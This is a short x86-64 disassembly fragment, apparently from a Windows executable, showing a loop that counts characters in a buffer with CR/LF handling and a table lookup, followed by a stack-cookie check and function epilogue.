lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14008d7a2
cmp byte [rcx], 0xd
jne 0x14008d788
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14008d797
cmp byte [rcx + 1], 0xa
jne 0x14008d797
inc rcx
jmp 0x14008d797
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xdc4a0]
add rcx, rax
inc rsi
inc rcx
cmp rsi, r15
jne 0x14008d76a
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14005c600
lea r11, [rsp + 0x1050]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret